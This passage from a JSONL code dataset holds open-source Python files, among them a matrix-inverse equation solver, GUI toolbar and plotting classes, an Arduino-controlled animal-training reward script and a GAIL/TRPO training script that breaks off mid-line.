transpose = [[], [], []]\n for row in matrix:\n transpose[0].append(row[0])\n transpose[1].append(row[1])\n transpose[2].append(row[2])\n return transpose\n\n\ndef getAdjugate(transpose):\n adjugate = []\n for i in range(len(transpose)):\n adjugateRow = []\n for j in range(len(transpose[i])):\n newMatrix = []\n for ii in range(len(transpose)):\n newRow = []\n for jj in range(len(transpose[ii])):\n if ii != i and jj != j:\n newRow.append(transpose[ii][jj])\n if newRow:\n newMatrix.append(newRow)\n adjugateRow.append(pow(-1, ((i + 1) + (j + 1)))\n * getDeterminant(newMatrix))\n adjugate.append(adjugateRow)\n return adjugate\n\n\ndef getInverse(adjugate, determinant):\n if determinant == 0:\n return -1\n for i in range(len(adjugate)):\n for j in range(len(adjugate[i])):\n adjugate[i][j] = 1 / determinant * adjugate[i][j]\n return adjugate\n\n\ndef finalResult(inverse, results):\n finalResults = []\n for i in range(len(inverse)):\n result = 0\n for j in range(len(inverse[i])):\n result += inverse[i][j] * results[j]\n finalResults.append(result)\n return finalResults\n\n\nfileContents = parseFile(\"file.txt\")\n\nA = fileContents[0]\nB = fileContents[1]\n\nprint(\"A:\")\nprint(A)\n\nprint(\"B:\")\nprint(B)\n\ndeterminant = getDeterminant(A)\nprint(\"Determinant:\")\nprint(determinant)\n\ntranspose = getTranspose(A)\nprint(\"Transpose:\")\nprint(transpose)\n\nadjugate = getAdjugate(transpose)\nprint(\"Adjugate:\")\nprint(adjugate)\n\ninverse = getInverse(adjugate, determinant)\nprint(\"Inverse:\")\nprint(inverse)\n\nif inverse == -1:\n print(\"The matrix isn't invertible, the determinant is 0\")\nelse:\n X = finalResult(inverse, B)\n print(\"Final Results:\")\n print(X)", "source": "georgeboghez/RN_Assignment1", "license": "MIT"}
+{"text": "import logging\n\nfrom traits.api import Int, on_trait_change, List\n\nfrom force_wfmanager.ui.review.curve_scatter_plot import CurveScatterPlot\n\nlog = logging.getLogger(__name__)\n\n_ERROR = 'Unable to interpolate curve through data points'\n\n\nclass SubsetPlot(CurveScatterPlot):\n \"\"\"A subclass of CurvePlot that only shows a subset of data points\n from the analysis model, specified by the evaluation_indices attribute\"\"\"\n\n #: Subset of data points to show on the 2D scatter plot\n evaluation_indices = List(Int)\n\n @on_trait_change(\"analysis_model:header[],evaluation_indices[]\")\n def request_update(self):\n \"\"\"Overloaded parent method to only update the plot if the subset\n of data points to be showed changes\n \"\"\"\n # Listens to the change in data points in the analysis model.\n # Enables the plot update at the next cycle.\n self.update_required = True\n\n def _filtered_data(self, variable):\n \"\"\"Returns filtered data points for a given variable in the\n analysis model, based on the provided evaluation point indicies\n \"\"\"\n data = self.analysis_model.column(variable)\n return [data[index] for index in self.evaluation_indices]\n\n def _update_plot_x_data(self):\n \"\"\" Update data points displayed by the x axis.\n Sets the x-`self._plot_data` to corresponding sub set of\n data in the `self.analysis_model`.\n This method is called by the `_update_plot` method during\n the callback update.\n This method is called when the `x` axis is changed.\n \"\"\"\n if self.x == \"\" or self.analysis_model.is_empty:\n self._plot_data.set_data(\"x\", [])\n else:\n self._plot.x_axis.title = self.x\n self._plot_data.set_data(\"x\", self._filtered_data(self.x))\n\n def _update_plot_y_data(self):\n \"\"\" Update data points displayed by the y axis.\n Sets the y-`self._plot_data` to corresponding sub set of\n data in the `self.analysis_model`.\n This method is called by the `_update_plot` method during\n the callback update.\n This method is called when the `y` axis is changed.\n \"\"\"\n if self.y == \"\" or self.analysis_model.is_empty:\n self._plot_data.set_data(\"y\", [])\n else:\n self._plot.y_axis.title = self.y\n self._plot_data.set_data(\"y\", self._filtered_data(self.y))\n\n @on_trait_change(\"color_by\")\n def _update_color_plot(self):\n if (\n self.x == \"\"\n or self.y == \"\"\n or self.color_by is None\n or self.analysis_model.is_empty\n ):\n self._plot_data.set_data(\"color_by\", [])\n return\n\n self._plot_data.set_data(\n \"color_by\", self._filtered_data(self.color_by))\n", "source": "force-h2020/force-bdss-plugin-surfactant-example", "license": "BSD-2-Clause"}
+{"text": "#!/usr/bin/env python\n# Output formatters (for printing info and data files)\n#\n# Copyright (C) 2014 Peter Wu \n\nimport math\nfrom defs import info, data\n\n# Python 2.7 compatibility\nif b'' == '':\n import functools, itertools\n iterbytes = functools.partial(itertools.imap, ord)\nelse:\n iterbytes = iter\n\nclass BasePrinter(object):\n \"\"\"Prints the info, data header or data in verbose form.\"\"\"\n def __init__(self, filename):\n pass\n def print_info(self, t):\n print_namedtuple(t, info)\n def print_data_header(self, t):\n print_namedtuple(t, data)\n def print_data(self, t, date):\n print_namedtuple(t, data)\n\nclass RawPrinter(BasePrinter):\n \"\"\"Prints raw bytes in hex form, possibly with headers.\"\"\"\n def print_data(self, t, date):\n # Convert interpreted numbers back to bytes...\n all_bs = [data.pack_as_bytes(name, getattr(t, name))\n for name in data.names]\n # Convert bytes to hex and print them\n print(date + ' ' + ' '.join(\n ''.join('{0:02x}'.format(b) for b in iterbytes(bs))\n for bs in all_bs))\n\nclass CSVPrinter(BasePrinter):\n \"\"\"Prints data separated by a semicolon.\"\"\"\n def __init__(self, filename, separator=','):\n self.separator = separator\n self.printed_header = False\n def print_data_header(self, t):\n pass\n def print_data(self, t, date):\n if not self.printed_header:\n print(self.separator.join([\"timestamp\"] + data.names))\n self.printed_header = True\n print('{1}{0}{2:5.1f}{0}{3:5.3f}{0}{4:5.3f}'\n .format(self.separator, date, *t))\n\nclass EffectivePowerPrinter(BasePrinter):\n \"\"\"\n Prints the effective power in Watt, computed from voltage, current and the\n power factor.\n \"\"\"\n def __init__(self, filename, separator=','):\n self.separator = separator\n def print_data_header(self, t):\n pass\n def print_data(self, t, date):\n effective_power = t.voltage * t.current * t.power_factor\n print('{1}{0}{2:.1f}'.format(self.separator, date, effective_power))\n\nclass ApparentPowerPrinter(BasePrinter):\n \"\"\"Prints the calculated apparent power in VA.\"\"\"\n def __init__(self, filename, separator=','):\n self.separator = separator\n def print_data_header(self, t):\n pass\n def print_data(self, t, date):\n apparent_power = t.voltage * t.current\n print('{1}{0}{2:.1f}'.format(self.separator, date, apparent_power))\n\nclass MemoryPrinter(BasePrinter):\n\n def __init__(self):\n self.info = []\n self.data = []\n pass\n \n def print_info(self, t):\n for n, v in zip(t._fields, t):\n # Print literals in displayable characters\n if isinstance(v, bytes):\n v = repr(v)\n self.info += [{\n \"key\": n, \n \"val\": info.unitify(n, v)\n }]\n\n\n def print_data_header(self, t):\n pass\n\n def print_data(self, t, date):\n # data_file_index = len(self.data) - 1\n # if data_file_index < 0:\n # raise Exception(\"data_file_index < 0. print_data_header not called?\")\n\n apparent_power = t.voltage * t.current\n effective_power = t.voltage * t.current * t.power_factor\n\n self.data.append({\n \"date\": date,\n \"voltage\": t.voltage,\n \"current\": t.current,\n \"power_factor\": t.power_factor,\n \"apparent_power\": apparent_power,\n \"effective_power\": effective_power\n })\n\n\ndef round_up(n, multiple):\n return int(math.ceil(1.0 * n / multiple) * multiple)\n\ndef print_namedtuple(t, formatter):\n # Align at columns of four chars with at least two spaces as separator\n name_width = round_up(max(len(name) for name in t._fields) + 2, 4)\n format = '{0:' + str(name_width) + '}{1}'\n\n for n, v in zip(t._fields, t):\n # Print literals in displayable characters\n if isinstance(v, bytes):\n v = repr(v)\n print(format.format(n, formatter.unitify(n, v)))\n\n", "source": "falouu/el4000", "license": "MIT"}
+{"text": "#------------------------------------------------------------------------------\n# Copyright (c) 2005, Enthought, Inc.\n# All rights reserved.\n#\n# This software is provided without warranty under the terms of the BSD\n# license included in enthought/LICENSE.txt and may be redistributed only\n# under the conditions described in the aforementioned license. The license\n# is also available online at http://www.enthought.com/licenses/BSD.txt\n# Thanks for using Enthought open source!\n#\n# Author: Enthought, Inc.\n# Description: \n#------------------------------------------------------------------------------\n\"\"\" A top-level application window that supports multiple toolbars. \"\"\"\nfrom __future__ import absolute_import\n\n# Major package imports.\nimport wx\n\n# Enthought library imports\nfrom pyface.action.api import ToolBarManager\nfrom traits.api import Trait, TraitDict, TraitEnum, TraitList\n\n# Local imports\nfrom .application_window import ApplicationWindow\n\n\nclass MultiToolbarWindow(ApplicationWindow):\n \"\"\" A top-level application window that supports multiple toolbars.\n\n The multi-toolbar window has support for a menu bar, status bar, and\n multiple toolbars (all of which are optional).\n\n \"\"\"\n\n # The toolbars in the order they were added to the window.\n _tool_bar_managers = Trait([], TraitList(Trait(ToolBarManager)))\n\n # Map of toolbar to screen location.\n _tool_bar_locations = Trait({},\n TraitDict(Trait(ToolBarManager),\n TraitEnum('top', 'bottom',\n 'left', 'right')))\n\n ###########################################################################\n # Protected 'Window' interface.\n ###########################################################################\n def _create_contents(self, parent):\n panel = super(MultiToolbarWindow, self)._create_contents(parent)\n self._create_trim_widgets(parent)\n\n return panel\n\n def _create_trim_widgets(self, parent):\n\n # The frame's icon.\n self._set_window_icon()\n\n # Add the (optional) menu bar.\n self._create_menu_bar(parent)\n\n # Add the (optional) status bar.\n self._create_status_bar(parent)\n\n # Add the (optional) tool bars.\n self.sizer = self._create_tool_bars(parent)\n\n return\n\n def _create_tool_bars(self, parent):\n \"\"\" Create the tool bars for this window. \"\"\"\n\n if len(self._tool_bar_managers) > 0:\n # Create a top level sizer to handle to main layout and attach\n # it to the parent frame.\n self.main_sizer = sizer = wx.BoxSizer(wx.VERTICAL)\n parent.SetSizer(sizer)\n parent.SetAutoLayout(True)\n\n for tool_bar_manager in self._tool_bar_managers:\n location = self._tool_bar_locations[tool_bar_manager]\n sizer = self._create_tool_bar(parent, sizer, tool_bar_manager,\n location)\n\n return sizer\n\n return None\n\n def _create_tool_bar(self, parent, sizer, tool_bar_manager, location):\n \"\"\" Create and add the toolbar to the parent window at the specified\n location.\n\n Returns the sizer where the remaining content should be added. For\n 'top' and 'left' toolbars, we can return the same sizer that contains\n the toolbar, because subsequent additions will be added below or to\n the right of those toolbars. For 'right' and 'bottom' toolbars, we\n create a spacer toolbar to hold the content.\n \"\"\"\n\n tool_bar = tool_bar_manager.create_tool_bar(parent)\n\n if location == 'top':\n child_sizer = wx.BoxSizer(wx.VERTICAL)\n child_sizer.Add(tool_bar, 0, wx.ALL | wx.ALIGN_LEFT | wx.EXPAND)\n sizer.Add(child_sizer, 1, wx.ALL | wx.EXPAND)\n\n if location == 'bottom':\n toolbar_sizer = wx.BoxSizer(wx.VERTICAL)\n\n # Add the placeholder for the content before adding the toolbar.\n child_sizer = self._create_content_spacer(toolbar_sizer)\n\n # Add the tool bar.\n toolbar_sizer.Add(tool_bar, 0, wx.ALL | wx.ALIGN_TOP | wx.EXPAND)\n sizer.Add(toolbar_sizer, 1, wx.ALL | wx.EXPAND)\n\n if location == 'left':\n child_sizer = wx.BoxSizer(wx.HORIZONTAL)\n child_sizer.Add(tool_bar, 0, wx.ALL | wx.ALIGN_TOP | wx.EXPAND)\n sizer.Add(child_sizer, 1, wx.ALL | wx.EXPAND)\n\n if location == 'right':\n toolbar_sizer = wx.BoxSizer(wx.HORIZONTAL)\n\n # Add the placeholder for the content before adding the toolbar.\n child_sizer = self._create_content_spacer(toolbar_sizer)\n\n # Add the tool bar.\n toolbar_sizer.Add(tool_bar, 0, wx.ALL | wx.ALIGN_TOP | wx.EXPAND)\n sizer.Add(toolbar_sizer, 1, wx.ALL | wx.EXPAND)\n\n return child_sizer\n\n def _create_content_spacer(self, sizer):\n spacer = wx.BoxSizer(wx.VERTICAL)\n sizer.Add(spacer, 1, wx.ALL | wx.EXPAND)\n\n return spacer\n\n ###########################################################################\n # Public MultiToolbarWindow interface\n ###########################################################################\n\n def add_tool_bar(self, tool_bar_manager, location='top'):\n \"\"\" Add a toolbar in the specified location.\n\n Valid locations are 'top', 'bottom', 'left', and 'right'\n \"\"\"\n\n self._tool_bar_managers.append(tool_bar_manager)\n self._tool_bar_locations[tool_bar_manager] = location\n\n#### EOF ######################################################################\n", "source": "adamcvj/SatelliteTracker", "license": "Apache-2.0"}
+{"text": "#------------------------------------------------------------------------------\n# Copyright (c) 2007, Riverbank Computing Limited\n# All rights reserved.\n#\n# This software is provided without warranty under the terms of the BSD license.\n# However, when used with the GPL version of PyQt the additional terms described in the PyQt GPL exception also apply\n\n#\n# Author: Riverbank Computing Limited\n# Description: \n#------------------------------------------------------------------------------\n\n\n# Enthought library imports.\nfrom pyface.workbench.i_view import MView\n\n\nclass View(MView):\n \"\"\" The toolkit specific implementation of a View.\n\n See the IView interface for the API documentation.\n\n \"\"\"\n\n ###########################################################################\n # 'IWorkbenchPart' interface.\n ###########################################################################\n\n def create_control(self, parent):\n \"\"\" Create the toolkit-specific control that represents the part. \"\"\"\n\n from pyface.qt import QtGui\n\n control = QtGui.QWidget(parent)\n\n palette = control.palette()\n palette.setColor(QtGui.QPalette.Window, QtGui.QColor('red'))\n control.setPalette(palette)\n control.setAutoFillBackground(True)\n\n return control\n\n def destroy_control(self):\n \"\"\" Destroy the toolkit-specific control that represents the part. \"\"\"\n\n if self.control is not None:\n self.control.hide()\n self.control.deleteLater()\n self.control = None\n\n return\n\n def set_focus(self):\n \"\"\" Set the focus to the appropriate control in the part. \"\"\"\n\n if self.control is not None:\n self.control.setFocus()\n\n return\n\n#### EOF ######################################################################\n", "source": "adamcvj/SatelliteTracker", "license": "Apache-2.0"}
+{"text": "\nimport sys\nfrom os import path\n\ncurrent_dir = path.dirname(path.abspath(__file__))\nwhile path.split(current_dir)[-1] != r'Heron':\n current_dir = path.dirname(current_dir)\nsys.path.insert(0, path.dirname(current_dir))\n\nimport numpy as np\nimport serial\nimport threading\nimport pandas as pd\nfrom datetime import datetime\nfrom Heron.communication.socket_for_serialization import Socket\nfrom Heron import general_utils as gu, constants as ct\n\nneed_parameters = True\narduino_serial: serial.Serial\navail_time: float\navail_freq: int\nsucc_freq: int\nfail_freq: int\nsleep_dt = 0.18\nabort_at_wrong_poke: bool\nair_puff_at_wrong_poke: bool\ntrigger_string: str\npandas_file: str\npandas_trials_record: pd.DataFrame\navailability_period_is_running = False\nreward_amount = 1\nreward_poke: bool # False is the Old / Right poke, True is the New / Left one\nair_puff_thread_is_running: bool\nair_puff_timer = 0\nsuccesful_trials = 0\n\n\ndef add_timestamp_to_filename(save_file):\n\n filename = save_file.split('.')\n date_time = '{}'.format(datetime.now()).replace(':', '-').replace(' ', '_').split('.')[0]\n save_file = '{}_{}.{}'.format(filename[0], date_time, filename[1])\n\n return save_file\n\n\ndef freq_to_signal(freq):\n freq = int(freq)\n if freq < 500:\n freq = 500\n if freq > 5000:\n freq = 5000\n return chr(int(freq/500 + 97)).encode('utf-8')\n\n\ndef initialise(_worker_object):\n global arduino_serial\n global avail_time\n global avail_freq\n global succ_freq\n global fail_freq\n global abort_at_wrong_poke\n global air_puff_at_wrong_poke\n global trigger_string\n global pandas_file\n global pandas_trials_record\n global reward_poke\n global air_puff_thread_is_running\n\n try:\n parameters = _worker_object.parameters\n com_port = parameters[0]\n avail_time = parameters[1]\n avail_freq = parameters[2]\n succ_freq = parameters[3]\n fail_freq = parameters[4]\n abort_at_wrong_poke = parameters[5]\n air_puff_at_wrong_poke = parameters[6]\n trigger_string = parameters[7]\n pandas_file = parameters[8]\n except Exception as e:\n print(e)\n return False\n\n try:\n arduino_serial = serial.Serial(com_port)\n except Exception as e:\n print(e)\n return False\n\n if pandas_file != '':\n pandas_trials_record = pd.DataFrame(columns=['TimeStamp', 'Start_OR_PelletsGiven'])\n\n air_puff_thread_is_running = False\n reward_poke = True\n set_poke_tray()\n\n worker_object.relic_create_parameters_df(com_port=com_port, avail_time=avail_time, avail_freq=avail_freq,\n succ_freq=succ_freq, fail_freq=fail_freq,\n abort_at_wrong_poke=abort_at_wrong_poke,\n air_puff_at_wrong_poke=air_puff_at_wrong_poke,\n trigger_string=trigger_string, pandas_file=pandas_file)\n return True\n\n\ndef failure_sound():\n if int(fail_freq) != 0:\n arduino_serial.write(freq_to_signal(fail_freq))\n gu.accurate_delay(1200 * sleep_dt)\n arduino_serial.write(freq_to_signal(500))\n\n\ndef success_sound():\n if int(succ_freq) != 0:\n arduino_serial.write(freq_to_signal(succ_freq))\n gu.accurate_delay(1500 * sleep_dt)\n arduino_serial.write(freq_to_signal(succ_freq))\n gu.accurate_delay(1500 * sleep_dt)\n\n\ndef availability_sound():\n if int(avail_freq) != 0:\n arduino_serial.write(freq_to_signal(avail_freq))\n\n\ndef add_trial_state_to_trials_record(state):\n global pandas_trials_record\n global pandas_file\n\n if pandas_file != '':\n time = datetime.now()\n row = pd.DataFrame(data={pandas_trials_record.columns[0]: [time], pandas_trials_record.columns[1]: [state]})\n pandas_trials_record = pd.concat([pandas_trials_record, row])\n\n\ndef start_availability_thread():\n global arduino_serial\n global availability_period_is_running\n global avail_time\n global avail_freq\n global succ_freq\n global pandas_file\n global pandas_trials_record\n global reward_poke\n global abort_at_wrong_poke\n global succesful_trials\n\n total_steps = int(avail_time / sleep_dt)\n\n availability_period_is_running = True\n\n add_trial_state_to_trials_record('Start')\n\n bytes_in_buffer = arduino_serial.in_waiting\n while bytes_in_buffer:\n bytes_in_buffer = arduino_serial.in_waiting\n string_in = arduino_serial.read(bytes_in_buffer).decode('utf-8')\n if '555\\r\\n' in string_in:\n gu.accurate_delay(500)\n arduino_serial.reset_input_buffer()\n step = 0\n\n while availability_period_is_running:\n\n bytes_in_buffer = arduino_serial.in_waiting\n string_in = arduino_serial.read(bytes_in_buffer).decode('utf-8')\n\n success_failure_continue = 2 # 0=success, 1=failure, 2=continue\n # If the string is either 555 or 666 then if it is for the wrong poke and the abort_at_wrong_poke is on then\n # fail, otherwise succeed\n if bytes_in_buffer:\n if '555\\r\\n' in string_in:\n if not reward_poke:\n success_failure_continue = 0\n else:\n if abort_at_wrong_poke:\n success_failure_continue = 1\n else:\n success_failure_continue = 0\n if '666\\r\\n' in string_in:\n if reward_poke:\n success_failure_continue = 0\n else:\n if abort_at_wrong_poke:\n success_failure_continue = 1\n else:\n success_failure_continue = 0\n\n if success_failure_continue == 0:\n try:\n success_sound()\n for _ in np.arange(reward_amount):\n arduino_serial.write('a'.encode('utf-8'))\n gu.accurate_delay(500)\n availability_period_is_running = False\n succesful_trials += 1\n print(succesful_trials)\n except Exception as e:\n print(e)\n add_trial_state_to_trials_record(reward_amount)\n elif step >= total_steps or success_failure_continue == 1:\n try:\n failure_sound()\n availability_period_is_running = False\n except Exception as e:\n print(e)\n add_trial_state_to_trials_record(0)\n else:\n try:\n availability_sound()\n arduino_serial.read(arduino_serial.in_waiting)\n availability_period_is_running = True\n except Exception as e:\n print(e)\n gu.accurate_delay(1000 * sleep_dt)\n step += 1\n\n\ndef set_poke_tray():\n global arduino_serial\n global reward_poke\n\n if reward_poke:\n arduino_serial.write('m'.encode('utf-8'))\n else:\n arduino_serial.write('n'.encode('utf-8'))\n\n\ndef start_air_puff_thread():\n global availability_period_is_running\n global air_puff_thread_is_running\n global previous_availability_for_air_puff\n global air_puff_timer\n\n while air_puff_thread_is_running:\n if availability_period_is_running:\n air_puff_timer = 0\n if not availability_period_is_running:\n air_puff_timer += 1\n if air_puff_timer < 50:\n arduino_serial.reset_input_buffer()\n else: # 5 seconds delay\n air_puff_if_poking_outside_availability()\n\n gu.accurate_delay(100)\n\n\ndef air_puff_if_poking_outside_availability():\n\n if not availability_period_is_running:\n bytes_in_buffer = arduino_serial.in_waiting\n string_in = arduino_serial.read(bytes_in_buffer).decode('utf-8')\n\n if bytes_in_buffer:\n if '555\\r\\n' in string_in or '666\\r\\n' in string_in:\n arduino_serial.write('y'.encode('utf-8'))\n gu.accurate_delay(100)\n arduino_serial.write('z'.encode('utf-8'))\n\n\ndef start_availability_or_switch_pokes(data, parameters):\n global availability_period_is_running\n global air_puff_thread_is_running\n global trigger_string\n global reward_amount\n global reward_poke\n\n topic = data[0].decode('utf-8')\n message = Socket.reconstruct_array_from_bytes_message(data[1:])\n\n air_puff_at_wrong_poke = parameters[5]\n\n if air_puff_at_wrong_poke:\n if not air_puff_thread_is_running:\n air_puff_thread_is_running = True\n air_puff_thread = threading.Thread(group=None, target=start_air_puff_thread)\n air_puff_thread.start()\n else:\n air_puff_thread_is_running = False\n\n if 'Start' in topic:\n if not availability_period_is_running:\n if len(message.shape) > 1: # If the message is sent as a double array\n message = message[0]\n if trigger_string == message[0] or trigger_string == 'number':\n if trigger_string == 'number':\n reward_amount = int(message[0])\n try:\n if message[0] != -1 and message[0] != '-1': # That allows the result to update without starting another thread\n avail_thread = threading.Thread(target=start_availability_thread)\n avail_thread.start()\n except Exception as e:\n print(e)\n result = [np.array([availability_period_is_running])]\n elif 'Poke' in topic:\n reward_poke = message[0]\n if reward_poke == 'Left' or reward_poke == 'New':\n reward_poke = True\n if reward_poke == 'Right' or reward_poke == 'Old':\n reward_poke = False\n set_poke_tray()\n result = [np.array([availability_period_is_running])]\n\n return result\n\n\ndef on_end_of_life():\n global arduino_serial\n global air_puff_thread_is_running\n global pandas_file\n global pandas_trials_record\n\n if pandas_file != '':\n pandas_file = add_timestamp_to_filename(pandas_file)\n pandas_trials_record.to_pickle(pandas_file)\n\n air_puff_thread_is_running = False\n gu.accurate_delay(100)\n\n arduino_serial.reset_input_buffer()\n arduino_serial.close()\n\n\nif __name__ == \"__main__\":\n worker_object = gu.start_the_transform_worker_process(work_function=start_availability_or_switch_pokes,\n end_of_life_function=on_end_of_life,\n initialisation_function=initialise)\n worker_object.start_ioloop()\n", "source": "Heron-Repositories/Transfer-Learning-In-Animals", "license": "MIT"}
+{"text": "#!/usr/bin/env python\nimport logging\nimport os\nfrom signal import SIGINT\nimport sys\n\nlogging.basicConfig(format=\"[%(asctime)s] %(message)s\")\nlog = logging.getLogger()\nlog.setLevel(logging.DEBUG)\n\ncommand = sys.argv[1]\n\nif command is None:\n log.error(\"No command provided.\")\n sys.exit(1)\n\nlog.info(\"Starting command ({})\".format(command))\n\nwhile True:\n status = os.system(command)\n\n if status & SIGINT:\n log.error(\"SIGINT received; terminating\")\n sys.exit(status)\n else:\n log.info(\"Command ({}) exited, status {}; restarting\".format(command, status))\n", "source": "asthasr/utility_scripts", "license": "MIT"}
+{"text": "# Copyright 2021 Dynatrace LLC\r\n\r\n# Licensed under the Apache License, Version 2.0 (the \"License\");\r\n# you may not use this file except in compliance with the License.\r\n# You may obtain a copy of the License at\r\n\r\n# http://www.apache.org/licenses/LICENSE-2.0\r\n\r\n# Unless required by applicable law or agreed to in writing, software\r\n# distributed under the License is distributed on an \"AS IS\" BASIS,\r\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n# See the License for the specific language governing permissions and\r\n# limitations under the License.\r\n\r\nimport os.path\r\n\r\n\r\nEXTENSION_YAML = \"extension.yaml\"\r\nEXTENSION_ZIP = \"extension.zip\"\r\nEXTENSION_ZIP_SIG = \"extension.zip.sig\"\r\nDEFAULT_TARGET_PATH = os.path.curdir\r\nDEFAULT_EXTENSION_DIR = os.path.join(os.path.curdir, \"extension\")\r\nDEFAULT_DEV_CERT = os.path.join(os.path.curdir, \"developer.pem\")\r\nDEFAULT_DEV_KEY = os.path.join(os.path.curdir, \"developer.key\")\r\nDEFAULT_CA_CERT = os.path.join(os.path.curdir, \"ca.pem\")\r\nDEFAULT_CA_KEY = os.path.join(os.path.curdir, \"ca.key\")\r\nDEFAULT_CERT_VALIDITY = 365 * 3\r\n", "source": "djelinski/dt-cli", "license": "Apache-2.0"}
+{"text": "import cv2\nimport numpy as np\nwriter = cv2.VideoWriter(\"output.avi\",\ncv2.VideoWriter_fourcc(*\"MJPG\"), 30,(220,220))\nimage = np.random.randint(0, 255, (220,220,3)).astype('uint8')\nfor frame in range(1000):\n writer.write(image)\n\nwriter.release()", "source": "MouseHu/emdqn", "license": "MIT"}
+{"text": "import gym\nimport argparse\nimport calendar\n\nfrom rllab.baselines.linear_feature_baseline import LinearFeatureBaseline\nfrom rllab.envs.normalized_env import normalize\n\nfrom rllab.envs.gym_env import GymEnv\nfrom rllab.config import LOG_DIR\n\nfrom sandbox import RLLabRunner\n\nfrom sandbox.rocky.tf.algos.trpo import TRPO\nfrom sandbox.rocky.tf.algos.gail import GAIL\nfrom sandbox.rocky.tf.envs.base import TfEnv\n\nfrom sandbox.rocky.tf.policies.categorical_mlp_policy import CategoricalMLPPolicy\nfrom sandbox.rocky.tf.policies.gaussian_mlp_policy import GaussianMLPPolicy\n\nfrom sandbox.rocky.tf.policies.gaussian_lstm_policy import GaussianLSTMPolicy\nfrom sandbox.rocky.tf.policies.gaussian_gru_policy import GaussianGRUPolicy\n\nfrom sandbox.rocky.tf.core.network import MLP, RewardMLP, BaselineMLP\nfrom sandbox.rocky.tf.optimizers.conjugate_gradient_optimizer import ConjugateGradientOptimizer, FiniteDifferenceHvp\n\nimport tensorflow as tf\nimport numpy as np\nimport os\n\nimport os.path as osp\nfrom rllab import config\n\nparser = argparse.ArgumentParser()\n# Logger Params\nparser.add_argument('--exp_name',type=str,default='my_exp')\nparser.add_argument('--tabular_log_file',type=str,default= 'tab.txt')\nparser.add_argument('--text_log_file',type=str,default= 'tex.txt')\nparser.add_argument('--params_log_file',type=str,default= 'args.txt')\nparser.add_argument('--snapshot_mode',type=str,default='all')\nparser.add_argument('--log_tabular_only',type=bool,default=False)\nparser.add_argument('--log_dir',type=str)\nparser.add_argument('--args_data')\n\n# Environment params\nparser.add_argument('--trajdatas',type=int,nargs='+',default=[1,2,3,4,5,6])\nparser.add_argument('--n_features',type=int,default=45)\nparser.add_argument('--limit_trajs',type=int,default=12000)\nparser.add_argument('--max_traj_len',type=int,default=100) # max length of a trajectory (ts)\nparser.add_argument('--env_name',type=str,default=\"Following\")\nparser.add_argument('--following_distance',type=int,default=10)\nparser.add_argument('--normalize_obs',type=bool,default= True)\nparser.add_argument('--normalize_act',type=bool,default=False)\nparser.add_argument('--norm_tol',type=float,default=1e-1)\nparser.add_argument('--render',type=bool, default= False)\n\n# Env dict\n## parameters for the environment\n\n# Model Params\nparser.add_argument('--policy_type',type=str,default='mlp')\nparser.add_argument('--policy_save_name',type=str,default='policy_gail')\nparser.add_argument('--baseline_type',type=str,default='linear')\nparser.add_argument('--reward_type',type=str,default='mlp') # adversary / discriminator network\nparser.add_argument('--load_policy',type=bool,default=False)\n\nparser.add_argument('--hspec',type=int,nargs='+') # specifies architecture of \"feature\" networks\nparser.add_argument('--p_hspec',type=int,nargs='+',default=[]) # policy layers\nparser.add_argument('--b_hspec',type=int,nargs='+',default=[]) # baseline layers\nparser.add_argument('--r_hspec',type=int,nargs='+',default=[]) # reward layers\n\nparser.add_argument('--gru_dim',type=int,default=64) # hidden dimension of gru\n\nparser.add_argument('--nonlinearity',type=str,default='tanh')\nparser.add_argument('--batch_normalization',type=bool,default=False)\n\n# TRPO Params\nparser.add_argument('--trpo_batch_size', type=int, default= 40 * 100)\n\nparser.add_argument('--discount', type=float, default=0.95)\nparser.add_argument('--gae_lambda', type=float, default=0.99)\nparser.add_argument('--n_iter', type=int, default=500) # trpo iterations\n\nparser.add_argument('--max_kl', type=float, default=0.01)\nparser.add_argument('--vf_max_kl', type=float, default=0.01)\nparser.add_argument('--vf_cg_damping', type=float, default=0.01)\n\nparser.add_argument('--trpo_step_size',type=float,default=0.01)\n\nparser.add_argument('--only_trpo',type=bool,default=False)\n\n# GAILS Params\nparser.add_argument('--gail_batch_size', type=int, default= 1024)\nparser.add_argument('--adam_steps',type=int,default=1)\nparser.add_argument('--adam_lr', type=float, default=0.00005)\nparser.add_argument('--adam_beta1',type=float,default=0.9)\nparser.add_argument('--adam_beta2',type=float,default=0.99)\nparser.add_argument('--adam_epsilon',type=float,default=1e-8)\nparser.add_argument('--decay_steps',type=int,default=0)\nparser.add_argument('--decay_rate',type=float,default=1.0)\n\nparser.add_argument('--hard_freeze',type=bool,default=True)\nparser.add_argument('--freeze_upper',type=float,default=1.0)\nparser.add_argument('--freeze_lower',type=float,default=0.5)\n\nparser.add_argument('--policy_ent_reg', type=float, default=0.0)\nparser.add_argument('--env_r_weight',type=float,default=0.0)\n\nargs = parser.parse_args()\n\nassert not args.batch_normalization, \"Batch normalization not implemented.\"\n\nnonlins = {'tanh':tf.nn.tanh,'relu':tf.nn.relu,'elu':tf.nn.elu,'sigmoid':tf.nn.sigmoid}\nnonlinearity = nonlins[args.nonlinearity]\n\nif args.hspec is None:\n p_hspec = args.p_hspec\n b_hspec = args.b_hspec\n r_hspec = args.r_hspec\nelse:\n p_hspec = args.hspec\n b_hspec = args.hspec\n r_hspec = args.hspec\n\n## DEFINE THE ENVIRONMENT\ngym.envs.register(\n id=\"SpellingCorrection-v0\",\n entry_point='rllab.envs.nlp_env:SpellingCorrection',\n timestep_limit=999,\n reward_threshold=195.0,\n)\n\n## TODO : Write function for loading trajectories\nexpert_data_path = LOG_DIR + '/expert_data.h5'\nexpert_data, expert_data_stacked = load_trajs(expert_data_path, args.limit_trajs)\n\ninitial_obs_mean = expert_data_stacked['exobs_Bstacked_Do'].mean(axis= 0)\ninitial_obs_std = expert_data_stacked['exobs_Bstacked_Do'].std(axis= 0)\ninitial_obs_var = np.square(initial_obs_std)\n\n# normalize observations\nif args.normalize_obs:\n expert_data = {'obs':(expert_data_stacked['exobs_Bstacked_Do'] - initial_obs_mean) / initial_obs_std}\nelse:\n expert_data = {'obs':expert_data_stacked['exobs_Bstacked_Do']}\n\n# normalize actions\nif args.normalize_act:\n initial_act_mean = expert_data_stacked['exa_Bstacked_Da'].mean(axis= 0)\n initial_act_std = expert_data_stacked['exa_Bstacked_Da'].std(axis= 0)\n\n expert_data.update({'act':(expert_data_stacked['exa_Bstacked_Da'] - initial_act_mean) / initial_act_std})\nelse:\n initial_act_mean = 0.0\n initial_act_std = 1.0\n\n expert_data.update({'act':expert_data_stacked['exa_Bstacked_Da']})\n\n# rllab wrapper for gym env. NOTE: takes obs mean and var to normalize during transitions\ng_env = 